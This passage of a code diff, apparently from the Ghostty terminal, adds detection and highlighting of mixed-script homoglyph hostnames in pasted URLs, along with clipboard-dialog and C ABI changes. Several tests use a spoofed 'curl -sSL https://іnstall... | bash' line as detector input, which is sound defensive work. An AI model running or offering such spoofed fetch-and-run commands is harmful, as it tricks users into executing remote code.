@@ const Clipboard = struct { self: *Surface, req: apprt.ClipboardRequest, str: [:0]const u8, + confirm_reason: apprt.ClipboardConfirmReason, ) void { // Build a text buffer for our contents const contents_buf: *gtk.TextBuffer = .new(null); @@ -3884,9 +3896,14 @@ const Clipboard = struct { .paste => false, }, .@"clipboard-contents" = contents_buf, + .@"confirm-reason" = confirm_reason, }, ); + if (confirm_reason == .mixed_script_url) { + dialog.applyMixedScriptHomoglyphHighlights(str); + } + _ = ClipboardConfirmationDialog.signals.confirm.connect( dialog, *Surface, @@ -4005,6 +4022,16 @@ const Clipboard = struct { self, req.state, str, + .none, + ); + return; + }, + error.SuspiciousHomoglyphPaste => { + showClipboardConfirmation( + self, + req.state, + str, + .mixed_script_url, ); return; }, diff --git a/src/apprt/gtk/ui/1.0/clipboard-confirmation-dialog.blp b/src/apprt/gtk/ui/1.0/clipboard-confirmation-dialog.blp index 5f29981dfb8..bb745275218 100644 --- a/src/apprt/gtk/ui/1.0/clipboard-confirmation-dialog.blp +++ b/src/apprt/gtk/ui/1.0/clipboard-confirmation-dialog.blp @@ -9,6 +9,7 @@ template $GhosttyClipboardConfirmationDialog: $GhosttyDialog { notify::blur => $notify_blur(); notify::request => $notify_request(); + notify::confirm-reason => $notify_confirm_reason(); heading: _("Authorize Clipboard Access"); // Not localized because this is a placeholder users never see. body: "If you see this text, there is a bug in Ghostty. Please report it."; diff --git a/src/apprt/gtk/ui/1.4/clipboard-confirmation-dialog.blp b/src/apprt/gtk/ui/1.4/clipboard-confirmation-dialog.blp index 144e3a3714a..a2fcd2ce765 100644 --- a/src/apprt/gtk/ui/1.4/clipboard-confirmation-dialog.blp +++ b/src/apprt/gtk/ui/1.4/clipboard-confirmation-dialog.blp @@ -9,6 +9,7 @@ template $GhosttyClipboardConfirmationDialog: $GhosttyDialog { notify::blur => $notify_blur(); notify::request => $notify_request(); + notify::confirm-reason => $notify_confirm_reason(); heading: _("Authorize Clipboard Access"); // Not localized because this is a placeholder users never see. body: "If you see this text, there is a bug in Ghostty. Please report it."; diff --git a/src/apprt/structs.zig b/src/apprt/structs.zig index 2c37dbd5ee3..40c2f5285b1 100644 --- a/src/apprt/structs.zig +++ b/src/apprt/structs.zig @@ -69,6 +69,23 @@ pub const ClipboardRequestType = enum(u8) { osc_52_write, }; +/// Why clipboard confirmation UI may vary (paste confirmation only for now). +/// +/// If this is changed, you must also update ghostty.h +pub const ClipboardConfirmReason = enum(c_int) { + none = 0, + mixed_script_url = 1, + + pub const getGObjectType = switch (build_config.app_runtime) { + .gtk => @import("gobject").ext.defineEnum( + ClipboardConfirmReason, + .{ .name = "GhosttyClipboardConfirmReason" }, + ), + + .none => void, + }; +}; + /// Clipboard request. This is used to request clipboard contents and must /// be sent as a response to a ClipboardRequest event. pub const ClipboardRequest = union(ClipboardRequestType) { diff --git a/src/input.zig b/src/input.zig index 833e0582092..208c40682c9 100644 --- a/src/input.zig +++ b/src/input.zig @@ -14,6 +14,7 @@ pub const key_encode = @import("input/key_encode.zig"); pub const kitty = @import("input/kitty.zig"); pub const mouse_encode = @import("input/mouse_encode.zig"); pub const paste = @import("input/paste.zig"); +pub const paste_homoglyph = @import("input/paste_homoglyph.zig"); pub const ctrlOrSuper = key.ctrlOrSuper; pub const Action = key.Action; diff --git a/src/input/paste_homoglyph.zig b/src/input/paste_homoglyph.zig new file mode 100644 index 00000000000..e5bb93e0517 --- /dev/null +++ b/src/input/paste_homoglyph.zig @@ -0,0 +1,375 @@ +//! Detect mixed-script hostname labels inside URL-like spans in paste data. +//! +//! v1 uses ASCII-vs-block heuristics for labels (Latin letters + Cyrillic / +//! Greek / Armenian lookalikes, etc.). A future revision may replace the +//! per-label check using [Unicode UTS #39](https://www.unicode.org/reports/tr39/) +//! data (e.g. `confusables.txt`, `ScriptExtensions.txt`) while keeping URL +//! extraction and `mixedScriptUrlRisk` stable. + +const std = @import("std"); + +pub const Utf8Span = extern struct { + start: usize, + end: usize, +}; + +pub const first_mixed_script_url_report_max_spans = 128; + +pub fn firstMixedScriptUrlReport( + data: []const u8, + span_out: []Utf8Span, +) ?struct { url: Utf8Span, total_spans: usize, written: usize } { + const url = firstMixedScriptUrlByteRange(data) orelse return null; + const plen = schemePrefixLen(data, url.start) orelse return null; + const auth_start = url.start + plen; + if (auth_start > url.end) { + return .{ .url = url, .total_spans = 0, .written = 0 }; + } + const authority = data[auth_start..url.end]; + const host = hostFromAuthority(authority); + if (host.len == 0) { + return .{ .url = url, .total_spans = 0, .written = 0 }; + } + const host_rel: usize = @intCast(@intFromPtr(host.ptr) - @intFromPtr(authority.ptr)); + const host_start_in_data = auth_start + host_rel; + + var total: usize = 0; + collectSuspiciousLabelSpans(host, host_start_in_data, span_out, &total); + const written = @min(total, span_out.len); + return .{ .url = url, .total_spans = total, .written = written }; +} + +/// True if pasting `data` may include a misleading URL (mixed-script label). +pub fn mixedScriptUrlRisk(data: []const u8) bool { + return suspiciousSpansInPasteBuffer(data, &.{}) > 0; +} + +/// UTF-8 byte range of the first `scheme://authority` fragment that has mixed-script URL risk. +/// `end` is exclusive (same boundary as `authorityEnd`). +pub fn firstMixedScriptUrlByteRange(data: []const u8) ?Utf8Span { + var i: usize = 0; + while (i < data.len) { + if (schemePrefixLen(data, i)) |plen| { + const auth_start = i + plen; + if (auth_start > data.len) break; + const auth_end = authorityEnd(data, auth_start); + if (mixedScriptUrlRisk(data[i..auth_end])) { + return .{ .start = i, .end = auth_end }; + } + i = auth_end; + } else { + i += 1; + } + } + return null; +} + +/// All suspicious (non-Latin confusable) letters in mixed-script URL host labels. +pub fn suspiciousSpansInPasteBuffer(data: []const u8, out: []Utf8Span) usize { + var found: usize = 0; + var i: usize = 0; + while (i < data.len) { + if (schemePrefixLen(data, i)) |plen| { + const auth_start = i + plen; + if (auth_start > data.len) break; + const auth_end = authorityEnd(data, auth_start); + const authority = data[auth_start..auth_end]; + const host = hostFromAuthority(authority); + if (host.len > 0) { + const host_rel: usize = @intCast(@intFromPtr(host.ptr) - @intFromPtr(authority.ptr)); + const host_start_in_data = auth_start + host_rel; + collectSuspiciousLabelSpans(host, host_start_in_data, out, &found); + } + i = auth_end; + } else { + i += 1; + } + } + return found; +} + +/// GTK `gtk_text_buffer_get_iter_at_offset` uses a character (Unicode scalar) offset, not UTF-8 bytes. +pub fn utf8ByteOffsetToCharIndex(data: []const u8, byte_offset: usize) usize { + std.debug.assert(byte_offset <= data.len); + const prefix = data[0..byte_offset]; + var count: usize = 0; + var it = (std.unicode.Utf8View.init(prefix) catch return 0).iterator(); + while (it.nextCodepoint()) |_| { + count += 1; + } + return count; +} + +fn collectSuspiciousLabelSpans( + host: []const u8, + host_start_in_data: usize, + out: []Utf8Span, + found: *usize, +) void { + var start: usize = 0; + while (start <= host.len) { + const dot = std.mem.indexOfScalarPos(u8, host, start, '.'); + const end = dot orelse host.len; + if (end > start) { + const label = host[start..end]; + if (labelLooksLikeMixedScriptLatinHomoglyph(label)) { + const label_start_in_data = host_start_in_data + start; + collectConfusableCodepointSpans(label, label_start_in_data, out, found); + } + } + if (dot == null) break; + start = end + 1; + } +} + +fn collectConfusableCodepointSpans( + label: []const u8, + label_start_in_data: usize, + out: []Utf8Span, + found: *usize, +) void { + const view = std.unicode.Utf8View.init(label) catch return; + var it = view.iterator(); + var byte_in_label: usize = 0; + while (it.nextCodepointSlice()) |cp_slice| { + const cp = std.unicode.utf8Decode(cp_slice) catch break; + if (isConfusableNonLatinLetter(cp)) { + if (found.* < out.len) { + out[found.*] = .{ + .start = label_start_in_data + byte_in_label, + .end = label_start_in_data + byte_in_label + cp_slice.len, + }; + } + found.* += 1; + } + byte_in_label += cp_slice.len; + } +} + +/// Exported for tests and a future TR39-backed implementation. +pub fn labelLooksLikeMixedScriptLatinHomoglyph(label: []const u8) bool { + if (label.len == 0) return false; + const view = std.unicode.Utf8View.init(label) catch return false; + var it = view.iterator(); + var ascii_letter = false; + var confusable = false; + while (it.nextCodepoint()) |cp| { + if (isAsciiLetter(cp)) ascii_letter = true; + if (isConfusableNonLatinLetter(cp)) confusable = true; + if (ascii_letter and confusable) return true; + } + return false; +} + +fn schemePrefixLen(data: []const u8, i: usize) ?usize { + const rest = data[i..]; + const schemes = [_][]const u8{ + "https://", + "http://", + "ws://", + "wss://", + "ftp://", + }; + for (schemes) |s| { + if (rest.len >= s.len and std.ascii.eqlIgnoreCase(rest[0..s.len], s)) { + return s.len; + } + } + return null; +} + +fn authorityEnd(data: []const u8, start: usize) usize { + var j = start; + while (j < data.len) : (j += 1) { + switch (data[j]) { + '/', + '?', + '#', + ' ', + '\t', + '\n', + '\r', + '|', + ')', + ']', + '"', + '\'', + '\\', + => return j, + else => {}, + } + } + return j; +} + +fn hostFromAuthority(authority: []const u8) []const u8 { + var h = authority; + if (std.mem.lastIndexOfScalar(u8, h, '@')) |at| { + h = h[at + 1 ..]; + } + if (h.len > 0 and h[0] == '[') { + if (std.mem.indexOfScalar(u8, h, ']')) |close| { + return h[1..close]; + } + return if (h.len > 1) h[1..] else ""; + } + if (std.mem.lastIndexOfScalar(u8, h, ':')) |colon| { + h = h[0..colon]; + } + return h; +} + +fn isAsciiLetter(cp: u21) bool { + return (cp >= 'A' and cp <= 'Z') or (cp >= 'a' and cp <= 'z'); +} + +fn isConfusableNonLatinLetter(cp: u21) bool { + if (cp >= 0x0400 and cp <= 0x052F) return true; + if (cp >= 0x0370 and cp <= 0x03FF) return true; + if (cp >= 0x0530 and cp <= 0x058F) return true; + if (cp == 0x0261) return true; + return false; +} + +// ----------------------------------------------------------------------------- +// C ABI (`include/ghostty/vt/paste.h`). + +/// Matches `ghostty_paste_homoglyph_report_t` in `include/ghostty/vt/paste.h`. +pub const GhosttyPasteHomoglyphReport = extern struct { + url_start: usize, + url_end: usize, + span_total: usize, + span_written: usize, + spans: [first_mixed_script_url_report_max_spans]Utf8Span, +}; + +fn homoglyphSliceFromC(data: ?[*]const u8, len: usize) []const u8 { + return if (data) |p| p[0..len] else &.{}; +} + +pub fn homoglyphSuspiciousSpans( + data: ?[*]const u8, + len: usize, + out: ?[*]Utf8Span, + max_out: usize, +) callconv(.c) usize { + const slice = homoglyphSliceFromC(data, len); + const out_spans: []Utf8Span = if (out) |p| + @as([*]Utf8Span, @ptrCast(p))[0..max_out] + else + &.{}; + return suspiciousSpansInPasteBuffer(slice, out_spans); +} + +pub fn homoglyphFirstUrlRange( + data: ?[*]const u8, + len: usize, + out_start: *usize, + out_end: *usize, +) callconv(.c) c_int { + const slice = homoglyphSliceFromC(data, len); + const r = firstMixedScriptUrlByteRange(slice) orelse return 0; + out_start.* = r.start; + out_end.* = r.end; + return 1; +} + +/// Fills `out` on success (returns 1). On failure, zeroes `*out` and returns 0. +pub fn homoglyphFirstUrlReport( + data: ?[*]const u8, + len: usize, + out: ?*GhosttyPasteHomoglyphReport, +) callconv(.c) c_int { + const o = out orelse return 0; + const slice = homoglyphSliceFromC(data, len); + var span_buf: [first_mixed_script_url_report_max_spans]Utf8Span = undefined; + const rep = firstMixedScriptUrlReport(slice, &span_buf) orelse { + o.* = std.mem.zeroes(GhosttyPasteHomoglyphReport); + return 0; + }; + o.url_start = rep.url.start; + o.url_end = rep.url.end; + o.span_total = rep.total_spans; + o.span_written = rep.written; + @memcpy(o.spans[0..rep.written], span_buf[0..rep.written]); + if (rep.written < o.spans.len) { + @memset(o.spans[rep.written..], std.mem.zeroes(Utf8Span)); + } + return 1; +} + +test "firstMixedScriptUrlByteRange: finds scheme through authority" { + const testing = std.testing; + const payload = "curl https://\u{0456}nstall.example-cl\u{0456}.dev/foo"; + const r = firstMixedScriptUrlByteRange(payload).?; + try testing.expectEqualStrings("https://\u{0456}nstall.example-cl\u{0456}.dev", payload[r.start..r.end]); +} + +test "mixedScriptUrlRisk: clean ascii host" { + const testing = std.testing; + try testing.expect(!mixedScriptUrlRisk("curl https://install.example-cli.dev/foo")); +} + +test "mixedScriptUrlRisk: Cyrillic i mixed with Latin in label" { + const testing = std.testing; + const payload = "curl -sSL https://\u{0456}nstall.example-cl\u{0456}.dev | bash"; + try testing.expect(mixedScriptUrlRisk(payload)); +} + +test "label: Cyrillic i among Latin" { + const testing = std.testing; + try testing.expect(labelLooksLikeMixedScriptLatinHomoglyph("іnstall")); +} + +test "label: pure ASCII" { + const testing = std.testing; + try testing.expect(!labelLooksLikeMixedScriptLatinHomoglyph("install")); +} + +test "label: pure Cyrillic no ascii letters" { + const testing = std.testing; + try testing.expect(!labelLooksLikeMixedScriptLatinHomoglyph("пример")); +} + +test "label: mixed Cyrillic a and Latin" { + const testing = std.testing; + try testing.expect(labelLooksLikeMixedScriptLatinHomoglyph("аpple")); +} + +test "suspiciousSpansInPasteBuffer: Cyrillic i positions" { + const testing = std.testing; + const payload = "curl -sSL https://\u{0456}nstall.example-cl\u{0456}.dev | bash"; + var spans: [8]Utf8Span = undefined; + const n = suspiciousSpansInPasteBuffer(payload, &spans); + try testing.expectEqual(@as(usize, 2), n); + try testing.expectEqual(@as(usize, 2), spans[0].end - spans[0].start); + try testing.expectEqual(@as(usize, 2), spans[1].end - spans[1].start); + try testing.expect(spans[0].start < spans[1].start); +} + +test "utf8ByteOffsetToCharIndex" { + const testing = std.testing; + const s = "a\u{0456}b"; + try testing.expectEqual(@as(usize, 0), utf8ByteOffsetToCharIndex(s, 0)); + try testing.expectEqual(@as(usize, 1), utf8ByteOffsetToCharIndex(s, 1)); + try testing.expectEqual(@as(usize, 2), utf8ByteOffsetToCharIndex(s, 3)); + try testing.expectEqual(@as(usize, 3), utf8ByteOffsetToCharIndex(s, s.len)); +} + +test "firstMixedScriptUrlReport matches filtered full-buffer spans" { + const testing = std.testing; + const payload = "curl -sSL https://\u{0456}nstall.example-cl\u{0456}.dev | bash"; + var buf: [first_mixed_script_url_report_max_spans]Utf8Span = undefined; + const rep = firstMixedScriptUrlReport(payload, &buf).?; + try testing.expectEqual(@as(usize, 2), rep.total_spans); + try testing.expectEqual(@as(usize, 2), rep.written); + try testing.expectEqualStrings("https://\u{0456}nstall.example-cl\u{0456}.dev", payload[rep.url.start..rep.url.end]); + + var all: [8]Utf8Span = undefined; + const n_all = suspiciousSpansInPasteBuffer(payload, &all); + try testing.expectEqual(@as(usize, 2), n_all); + try testing.expectEqual(buf[0].start, all[0].start); + try testing.expectEqual(buf[0].end, all[0].end); + try testing.expectEqual(buf[1].start, all[1].start); + try testing.expectEqual(buf[1].end, all[1].end); +} diff --git a/src/lib_vt.zig b/src/lib_vt.zig index adfb11478d6..89fee9bc397 100644 --- a/src/lib_vt.zig +++ b/src/lib_vt.zig @@ -168,6 +168,9 @@ comptime { @export(&c.mode_report_encode, .{ .name = "ghostty_mode_report_encode" }); @export(&c.paste_is_safe, .{ .name = "ghostty_paste_is_safe" }); @export(&c.paste_encode, .{ .name = "ghostty_paste_encode" }); + @export(&c.paste_homoglyph_suspicious_spans, .{ .name = "ghostty_paste_homoglyph_suspicious_spans" }); + @export(&c.paste_homoglyph_first_url_range, .{ .name = "ghostty_paste_homoglyph_first_url_range" }); + @export(&c.paste_homoglyph_first_url_report, .{ .name = "ghostty_paste_homoglyph_first_url_report" }); @export(&c.size_report_encode, .{ .name = "ghostty_size_report_encode" }); @export(&c.style_default, .{ .name = "ghostty_style_default" }); @export(&c.style_is_default, .{ .name = "ghostty_style_is_default" }); diff --git a/src/terminal/c/main.zig b/src/terminal/c/main.zig index 170567796ad..745c5c18e65 100644 --- a/src/terminal/c/main.zig +++ b/src/terminal/c/main.zig @@ -118,6 +118,9 @@ pub const mouse_encoder_encode = mouse_encode.encode; pub const paste_is_safe = paste.is_safe; pub const paste_encode = paste.encode; +pub const paste_homoglyph_suspicious_spans = paste.homoglyph_suspicious_spans; +pub const paste_homoglyph_first_url_range = paste.homoglyph_first_url_range; +pub const paste_homoglyph_first_url_report = paste.homoglyph_first_url_report; pub const alloc_alloc = allocator.alloc; pub const alloc_free = allocator.free; diff --git a/src/terminal/c/paste.zig b/src/terminal/c/paste.zig index bce6a5658d5..9247a61d309 100644 --- a/src/terminal/c/paste.zig +++ b/src/terminal/c/paste.zig @@ -1,6 +1,7 @@ const std = @import("std"); const lib = @import("../lib.zig"); const paste = @import("../../input/paste.zig"); +const paste_homoglyph = @import("../../input/paste_homoglyph.zig"); const Result = @import("result.zig").Result; pub fn is_safe(data: ?[*]const u8, len: usize) callconv(lib.calling_conv) bool { @@ -8,6 +9,10 @@ pub fn is_safe(data: ?[*]const u8, len: usize) callconv(lib.calling_conv) bool { return paste.isSafe(slice); } +pub const homoglyph_suspicious_spans = paste_homoglyph.homoglyphSuspiciousSpans; +pub const homoglyph_first_url_range = paste_homoglyph.homoglyphFirstUrlRange; +pub const homoglyph_first_url_report = paste_homoglyph.homoglyphFirstUrlReport; + pub fn encode( data: ?[*]u8, data_len: usize,